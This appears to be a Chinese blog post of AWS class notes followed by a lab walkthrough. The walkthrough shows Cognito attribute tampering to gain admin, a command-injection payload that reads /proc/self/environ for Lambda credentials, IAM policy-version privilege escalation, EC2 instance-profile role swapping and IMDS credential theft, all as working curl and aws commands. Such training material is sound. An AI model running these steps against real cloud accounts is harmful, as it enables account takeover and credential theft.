AWS雲端
睡了兩個小時就跑去上課…從頭灌綠茶灌到尾,老師看起來好年輕真是年少有為。
AWS基本概念
| 類型 |
AWS |
概念 |
| 物件儲存 |
S3 |
把資料存在雲端空間 |
| 虛擬主機 |
EC2 |
在雲端開一台 VM / Server |
| Serverless Computing |
Lambda |
只上傳程式碼讓雲端執行 |
| 權限管理 |
IAM |
權限管控 |
AWS IAM
- User
就是一個使用者帳號
- Group
一群User
- Role
臨時權限憑證
- IAM Policy - Identity-based Policy
規定使用者/群組權限
- IAM Policy - Resource-based Policy
規定資源存取權限
- ARN(Amazon Resource Name)
AWS 資源的唯一識別名稱
例如: 1 2 3
| arn:aws:s3:::example-bucket arn:aws:lambda:us-east-1:123456789012:function:my-function arn:aws:ec2:us-east-1:123456789012:instance/i-xxxxxxxx
|
- STS(Security Token Service)
發短期憑證用
例如: 1 2 3
| AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
|
EC2 (在AWS上的虛擬機)
基本設定
| 項目 |
作用 |
| AMI |
作業系統映像 |
| Instance Type |
主機規格,例如 CPU、RAM |
| Region |
例如 us-east-1 |
| Availability Zone |
同一Region內的不同機房區 |
| VPC |
虛擬網路 |
| Subnet |
子網段 |
| Security Group |
類似主機防火牆 |
| Key Pair |
SSH登入用金鑰 |
| EBS |
磁碟 |
API Gateway + Lambda
1 2 3 4 5 6 7 8 9 10 11
| 使用者送 HTTP Request ↓ API Gateway ↓ Lambda ↓ Lambda 處理資料 ↓ 回傳 Response ↓ API Gateway 回給使用者
|
常見指令介紹
列出目前這組 AWS 憑證有權限看到的 S3 buckets
列出該 bucket 裡面的檔案或資料夾
1
| aws s3 ls s3://my-test-bucket
|
查看目前CLI身分
1
| aws sts get-caller-identity
|
目前 AWS CLI 使用 profile
實作
基本流程(01~03):
P.S 講師在講的時候沒說流程是什麼,都是事後記的
- 註冊 / 登入 reader 帳號
- 從瀏覽器 Local Storage 拿 accessToken
- 用 Cognito UpdateUserAttributes 把 custom:access 改成 admin
- 回網站重新登入或刷新
- 進入 admin.html
- 使用 /ping 功能
- 發現 /ping 後端有 RCE
- dump Lambda 環境變數,拿到 AWS_ACCESS_KEY_ID / SECRET / SESSION_TOKEN
- 變成 rce_lambda / execu-bot-role
我們的標的是一個URL,打開來看是一個註冊頁面。
![圖1]()
他看起來有做註冊郵箱過濾。
為了註冊所以我們需要繞過前端驗證。
查看網頁碼:
我們要的資料都直接寫在上面了。
![圖1]()
這邊我使用一次信信箱進行註冊:
1 2 3 4
| curl -X POST https://cognito-idp.us-west-2.amazonaws.com/ \ -H "X-Amz-Target: AWSCognitoIdentityProviderService.SignUp" \ -H "Content-Type: application/x-amz-json-1.1" \ -d '{"ClientId":"f7p***vsfkg","Username":"maga***om","Password":"Ma***30!","UserAttributes":[{"Name":"email","Value":"maga***om"},{"Name":"given_name","Value":"Magar"},{"Name":"family_name","Value":"User"}]}'
|
註冊完後我們去一次性信箱收驗證碼,然後確認註冊:
1 2 3 4
| curl -X POST https://cognito-idp.us-west-2.amazonaws.com/ \ -H "X-Amz-Target: AWSCognitoIdentityProviderService.ConfirmSignUp" \ -H "Content-Type: application/x-amz-json-1.1" \ -d '{"ClientId":"f7p***vsfkg","Username":"maga***om","ConfirmationCode":"747396"}'
|
![圖1]()
註冊完後我們成功登入,不過頁面上面寫著我們只有讀取權限,沒法操作
接下來我們進行提權。
首先要取得Access Token
1 2 3 4 5 6 7 8 9 10 11
| curl -X POST https://cognito-idp.us-west-2.amazonaws.com/ \ -H "X-Amz-Target: AWSCognitoIdentityProviderService.InitiateAuth" \ -H "Content-Type: application/x-amz-json-1.1" \ -d '{ "ClientId": "f7p***vsfkg", "AuthFlow": "USER_PASSWORD_AUTH", "AuthParameters": { "USERNAME": "mag***om", "PASSWORD": "Ma***30!" } }'
|
提權(重點:修改custom:access的值為admin)
1 2 3 4 5 6 7 8 9 10
| curl -X POST https://cognito-idp.us-west-2.amazonaws.com/ \ -H "X-Amz-Target: AWSCognitoIdentityProviderService.UpdateUserAttributes" \ -H "Content-Type: application/x-amz-json-1.1" \ -H "Authorization: Bearer ey...VvA" \ -d '{ "AccessToken": "ey....VvA", "UserAttributes": [ {"Name": "custom:access", "Value": "admin"} ] }'
|
重新登入網頁,可以看到權限變成admin了
![圖1]()
同時看到Admin帳號的功能就是能使用ping,嘗試著對127.0.0.1進行ping。
這邊嘗試發現在輸入的地方沒有進行過濾,允許執行任意指令。
![圖1]()
接下來我們嘗試取得Lambda憑證,在 Lambda RCE lab 裡,/proc/self/environ 是很常見的目標。
1
| 127.0.0.1;cat /proc/self/environ; -type f 2>/dev/null | grep AWS
|
![圖1]()
取得憑證後,我們就能用這些憑證去探索環境。
1 2 3
| export AWS_ACCESS_KEY_ID="ASI***6DJZ" export AWS_SECRET_ACCESS_KEY="VMMga2d+***Ujh+au export AWS_SESSION_TOKEN="IQo...0Ms="
|
![圖1]()
AWS IAM 允許每個 Managed Policy 最多同時存在 5 個版本。其中只有一個版本是「預設版本(Default Version)」,該版本的權限會實際生效。
若某個身份擁有 iam:SetDefaultPolicyVersion 權限,它就能切換預設版本 — 即使該身份原本無法存取目標版本中的資源。這是典型的權限提升漏洞。
確認提權所需資訊
![圖1]()
p.s 這邊從v1~v5都有先查看過內容了,我們直接選擇有權限的v3
![圖1]()
確認提權成功
![圖1]()
基本流程:(05-ec2-instance-profile-takeover)
- 找可以利用的 instance profile
- 找可以利用的高權限 role
- 把 instance profile 裡面的低權限 role 移掉
- 把高權限 role 加進 instance profile
- 再用這個 instance profile 開 EC2
- SSH 進去後從 IMDS 拿高權限 role 的臨時憑證
先列出所有 EC2 可用 role:
1 2 3
| aws --profile rce_lambda iam list-roles \ --query "Roles[?AssumeRolePolicyDocument.Statement[0].Principal.Service=='ec2.amazonaws.com'].[RoleName,Arn]" \ --output table
|
![圖1]()
接下來確認 e***34dd 是不是高權限 role。
1 2 3
| aws --profile rce_lambda iam list-attached-role-policies \ --role-name e***34dd \ --output table
|
![圖1]()
接下來確認這個 policy 內容是不是高權限
![圖1]()
接下來確認v1的權限
1 2 3
| aws --profile rce_lambda iam get-policy-version \ --policy-arn arn:aws:iam::154344927918:policy/e***34dd \ --version-id v1
|
![圖1]()
從圖片中可以看到Effect:Allow,可以確定是高權限ROLE
把高權限ROLE加進去
1 2 3
| aws --profile rce_lambda iam add-role-to-instance-profile \ --instance-profile-name ec2-mik***34dd \ --role-name e***34dd
|
確認有沒有加成功
1 2 3
| aws --profile rce_lambda iam list-instance-profiles \ --query "InstanceProfiles[*].[InstanceProfileName,Arn,Roles[*].RoleName]" \ --output table
|
移除低權限role
1 2 3
| aws --profile rce_lambda iam remove-role-from-instance-profile \ --instance-profile-name ec2-mik-instance-profile-a***4dd \ --role-name ec2-mik-role-a***dd
|
建立pem,記得要開權限
1 2 3 4 5
| aws --profile rce_lambda ec2 create-key-pair \ --region us-west-2 \ --key-name rce-lambda-key \ --query "KeyMaterial" \ --output text > rce-lambda-key.pem
|
設定完後開 EC2
1 2 3 4 5 6 7 8
| aws --profile rce_lambda ec2 run-instances \ --region us-west-2 \ --image-id am***980d \ --instance-type t2.micro \ --subnet-id subnet-0615c821db8fb3787 \ --security-group-ids sg-067f8***76b5 sg-015562f****48b \ --key-name rce-lambda-key \ --iam-instance-profile Name=ec2-mik***34dd
|
看到噴一串JSON就代表成功了
然後檢查這台 EC2 有沒有變成 running,並拿 Public IP。
1 2 3 4 5
| aws --profile rce_lambda ec2 describe-instances \ --region us-west-2 \ --filters "Name=private-ip-address,Values=1***3" \ --query "Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress,IamInstanceProfile.Arn]" \ --output table
|
![圖1]()
確認成功跑起來後就能SSH進去了。
![圖1]()
從 IMDS 抓到 ec2-muk-role 的 temporary credentials
![圖1]()
最後我們來檢查
1 2
| aws --version aws sts get-caller-identity
|
![圖1]()
圖上可以看到e***34dd,我們塞進 instance profile 的高權限 role
整段完成
複習一下順序:
1 2 3 4 5 6 7 8 9 10 11 12 13
| 找到 instance profile ↓ 找到高權限 ec2-muk-role ↓ 移除原本低權限 ec2-mik-role ↓ 加入高權限 ec2-muk-role ↓ 成功建立 EC2 ↓ SSH 進 EC2 ↓ 用 aws sts get-caller-identity 確認目前身分
|
本階段延續前一階段已成功建立並登入的 EC2。
EC2 裡面拿到 ec2-muk-role 憑證
↓
複製 AccessKeyId / SecretAccessKey / Token
↓
回到本機 VM 設成一個新的 AWS profile
↓
本機用這個 profile 執行 aws sts get-caller-identity
↓
確認本機也變成 ec2-muk-role
取得 IMDSv2 token
1 2
| TOKEN=$(curl -X PUT "http://16***54/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
-
1 2 3 4 5 6 7
| aws configure set aws_access_key_id "剛剛的AccessKeyId" --profile muk
aws configure set aws_secret_access_key "剛剛的SecretAccessKey" --profile muk
aws configure set aws_session_token "剛剛的Token" --profile muk
aws configure set region us-west-2 --profile muk
|
檢查
1
| aws --profile muk sts get-caller-identity
|